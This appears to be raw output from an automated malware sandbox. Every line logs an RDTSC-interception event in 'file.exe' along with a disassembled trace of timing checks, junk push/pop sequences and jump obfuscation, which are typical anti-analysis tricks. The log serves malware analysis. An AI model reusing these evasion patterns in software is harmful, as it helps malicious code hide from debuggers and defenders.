Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70312 second address: 4D70348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 72DDCE9Fh 0x00000008 pushfd 0x00000009 jmp 00007FEEE0EE3614h 0x0000000e sub cl, 00000008h 0x00000011 jmp 00007FEEE0EE360Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70348 second address: 4D7034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7034C second address: 4D70350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70350 second address: 4D70356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70356 second address: 4D7036D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7036D second address: 4D70371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70371 second address: 4D70384 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov di, cx 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov dx, ax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D916F6 second address: 4D916FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D916FA second address: 4D9170B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9170B second address: 4D9175F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FEEE08A230Ch 0x00000010 call 00007FEEE08A2312h 0x00000015 mov bx, cx 0x00000018 pop ecx 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c mov ch, 86h 0x0000001e jmp 00007FEEE08A230Fh 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9175F second address: 4D91763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91655 second address: 4D91670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91670 second address: 4D91675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91675 second address: 4D916D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2314h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop edx 0x00000011 push eax 0x00000012 pushfd 0x00000013 jmp 00007FEEE08A2313h 0x00000018 or ax, B15Eh 0x0000001d jmp 00007FEEE08A2319h 0x00000022 popfd 0x00000023 pop eax 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FEEE08A230Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D916D8 second address: 4D60D8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov dl, 0Fh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp dword ptr [74E5155Ch] 0x00000010 mov edi, edi 0x00000012 push ebp 0x00000013 mov ebp, esp 0x00000015 mov ecx, dword ptr fs:[00000018h] 0x0000001c mov eax, dword ptr [ebp+08h] 0x0000001f mov dword ptr [ecx+34h], 00000000h 0x00000026 cmp eax, 40h 0x00000029 jnc 00007FEEE0EE360Dh 0x0000002b mov eax, dword ptr [ecx+eax*4+00000E10h] 0x00000032 pop ebp 0x00000033 retn 0004h 0x00000036 test eax, eax 0x00000038 je 00007FEEE0EE3623h 0x0000003a mov eax, dword ptr [0043200Ch] 0x0000003f cmp eax, FFFFFFFFh 0x00000042 je 00007FEEE0EE3619h 0x00000044 mov esi, 0042F1C0h 0x00000049 push esi 0x0000004a call 00007FEEE5842EFDh 0x0000004f mov edi, edi 0x00000051 jmp 00007FEEE0EE360Ah 0x00000056 xchg eax, ebp 0x00000057 pushad 0x00000058 mov cl, 44h 0x0000005a call 00007FEEE0EE3613h 0x0000005f pop edx 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 mov ecx, 0A6ACCEDh 0x0000006a movzx eax, dx 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50463 second address: 4D504E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEEE08A2317h 0x00000009 or ax, 58AEh 0x0000000e jmp 00007FEEE08A2319h 0x00000013 popfd 0x00000014 mov ah, E9h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FEEE08A230Ah 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov edi, 64836E40h 0x00000028 pushfd 0x00000029 jmp 00007FEEE08A2319h 0x0000002e sub al, 00000046h 0x00000031 jmp 00007FEEE08A2311h 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504E6 second address: 4D504F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE360Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504F6 second address: 4D504FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504FA second address: 4D5056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FEEE0EE3617h 0x0000000f mov ecx, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 mov dx, si 0x00000016 mov edi, esi 0x00000018 popad 0x00000019 sub eax, eax 0x0000001b jmp 00007FEEE0EE3613h 0x00000020 inc eax 0x00000021 jmp 00007FEEE0EE3616h 0x00000026 lock xadd dword ptr [ecx], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FEEE0EE3617h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5056E second address: 4D50573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50573 second address: 4D50589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 inc eax 0x00000008 pushad 0x00000009 mov di, cx 0x0000000c mov ah, E3h 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50589 second address: 4D5058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5058D second address: 4D50593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50593 second address: 4D505AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEEE08A2315h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A44 second address: 4DA0A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A4A second address: 4DA0A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2316h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A6B second address: 4DA0A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0CCC second address: 4DA0CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE08A230Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0CDE second address: 4DA0D49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FEEE0EE3619h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 call 00007FEEE0EE360Ch 0x00000018 pushfd 0x00000019 jmp 00007FEEE0EE3612h 0x0000001e sub esi, 0032DBB8h 0x00000024 jmp 00007FEEE0EE360Bh 0x00000029 popfd 0x0000002a pop esi 0x0000002b movsx edx, si 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D49 second address: 4DA0D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D4D second address: 4DA0D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D51 second address: 4DA0D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D57 second address: 4DA0D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE360Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D66 second address: 4DA0D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b jmp 00007FEEE08A2315h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D8D second address: 4DA0D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D91 second address: 4DA0D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D97 second address: 4DA0D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D9D second address: 4DA0DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BFC second address: 4DA0C25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 4Eh 0x00000005 mov edx, 7DC219F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEEE0EE3619h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C25 second address: 4DA0C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE08A230Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C35 second address: 4DA0C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B51 second address: 4DA0BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEEE08A230Fh 0x00000009 add ah, FFFFFF9Eh 0x0000000c jmp 00007FEEE08A2319h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a jmp 00007FEEE08A230Ah 0x0000001f mov ebp, esp 0x00000021 jmp 00007FEEE08A2310h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FEEE08A2317h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BBF second address: 4DA0BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE3614h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A44 second address: 4DB0A8C instructions: 0x00000000 rdtsc 0x00000002 mov eax, 57E07EEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FEEE08A2314h 0x0000000f add cx, C118h 0x00000014 jmp 00007FEEE08A230Bh 0x00000019 popfd 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FEEE08A2315h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A8C second address: 4DB0A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A92 second address: 4DB0A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A96 second address: 4DB0B0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3613h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007FEEE0EE360Fh 0x00000012 pop edi 0x00000013 pushfd 0x00000014 jmp 00007FEEE0EE3614h 0x00000019 jmp 00007FEEE0EE3615h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FEEE0EE3618h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0B0A second address: 4DB0B10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0B10 second address: 4DB0B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov al, F6h 0x0000000e movsx edx, si 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEEE0EE3611h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC071B second address: 4DC0721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0721 second address: 4DC0725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0725 second address: 4DC0745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FEEE08A2310h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0745 second address: 4DC075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE3613h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80743 second address: 4D80749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80749 second address: 4D807B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx ecx, bx 0x0000000d pushfd 0x0000000e jmp 00007FEEE0EE3619h 0x00000013 add ecx, 272D17A6h 0x00000019 jmp 00007FEEE0EE3611h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FEEE0EE360Eh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FEEE0EE3617h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807B3 second address: 4D807EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 call 00007FEEE08A230Bh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007FEEE08A230Eh 0x0000001a sbb ecx, 7D9D8A08h 0x00000020 jmp 00007FEEE08A230Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505CF second address: 4D5062D instructions: 0x00000000 rdtsc 0x00000002 mov eax, 585DF74Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FEEE0EE3610h 0x0000000f xor al, 00000058h 0x00000012 jmp 00007FEEE0EE360Bh 0x00000017 popfd 0x00000018 popad 0x00000019 mov dword ptr [esp], ebp 0x0000001c pushad 0x0000001d push ecx 0x0000001e mov esi, ebx 0x00000020 pop edx 0x00000021 push ecx 0x00000022 jmp 00007FEEE0EE3613h 0x00000027 pop ecx 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FEEE0EE3612h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5062D second address: 4D50680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEEE08A2311h 0x00000009 and cl, 00000006h 0x0000000c jmp 00007FEEE08A2311h 0x00000011 popfd 0x00000012 mov esi, 033B8FB7h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, dword ptr [ebp+08h] 0x0000001d jmp 00007FEEE08A230Ah 0x00000022 or eax, FFFFFFFFh 0x00000025 pushad 0x00000026 mov cl, C4h 0x00000028 movsx edx, si 0x0000002b popad 0x0000002c lock xadd dword ptr [ecx], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50680 second address: 4D50686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50686 second address: 4D50463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, al 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a dec eax 0x0000000b jmp 00007FEEE08A2313h 0x00000010 pop ebp 0x00000011 pushad 0x00000012 push esi 0x00000013 mov ebx, 43ED5C26h 0x00000018 pop ebx 0x00000019 popad 0x0000001a retn 0004h 0x0000001d nop 0x0000001e test eax, eax 0x00000020 jne 00007FEEE08A2313h 0x00000022 mov eax, dword ptr [esi+68h] 0x00000025 cmp eax, 00432340h 0x0000002a je 00007FEEE08A2309h 0x0000002c mov dword ptr [esi+68h], ebx 0x0000002f push ebx 0x00000030 mov edi, dword ptr [0042F014h] 0x00000036 call edi 0x00000038 mov edi, edi 0x0000003a pushad 0x0000003b push edx 0x0000003c pushfd 0x0000003d jmp 00007FEEE08A2316h 0x00000042 adc cl, FFFFFFA8h 0x00000045 jmp 00007FEEE08A230Bh 0x0000004a popfd 0x0000004b pop eax 0x0000004c pushfd 0x0000004d jmp 00007FEEE08A2319h 0x00000052 add ch, FFFFFFC6h 0x00000055 jmp 00007FEEE08A2311h 0x0000005a popfd 0x0000005b popad 0x0000005c xchg eax, ebp 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FEEE08A230Dh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0859 second address: 4DC0869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE360Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0869 second address: 4DC0882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0882 second address: 4DC08FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEEE0EE360Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FEEE0EE3616h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FEEE0EE360Dh 0x00000020 adc cx, 9EC6h 0x00000025 jmp 00007FEEE0EE3611h 0x0000002a popfd 0x0000002b jmp 00007FEEE0EE3610h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91559 second address: 4D9155F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9155F second address: 4D91563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91563 second address: 4D9159E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FEEE08A2316h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEEE08A2317h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9159E second address: 4D915BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 42h 0x00000005 call 00007FEEE0EE3610h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D915BF second address: 4D915D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2316h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00C5 second address: 4DA00F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, 06E6h 0x00000012 call 00007FEEE0EE3617h 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00F6 second address: 4DA012E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, cl 0x00000005 pushfd 0x00000006 jmp 00007FEEE08A2311h 0x0000000b and ecx, 50B4F6F6h 0x00000011 jmp 00007FEEE08A2311h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA012E second address: 4DA015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FEEE0EE3618h 0x0000000a sub ecx, 089E7748h 0x00000010 jmp 00007FEEE0EE360Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
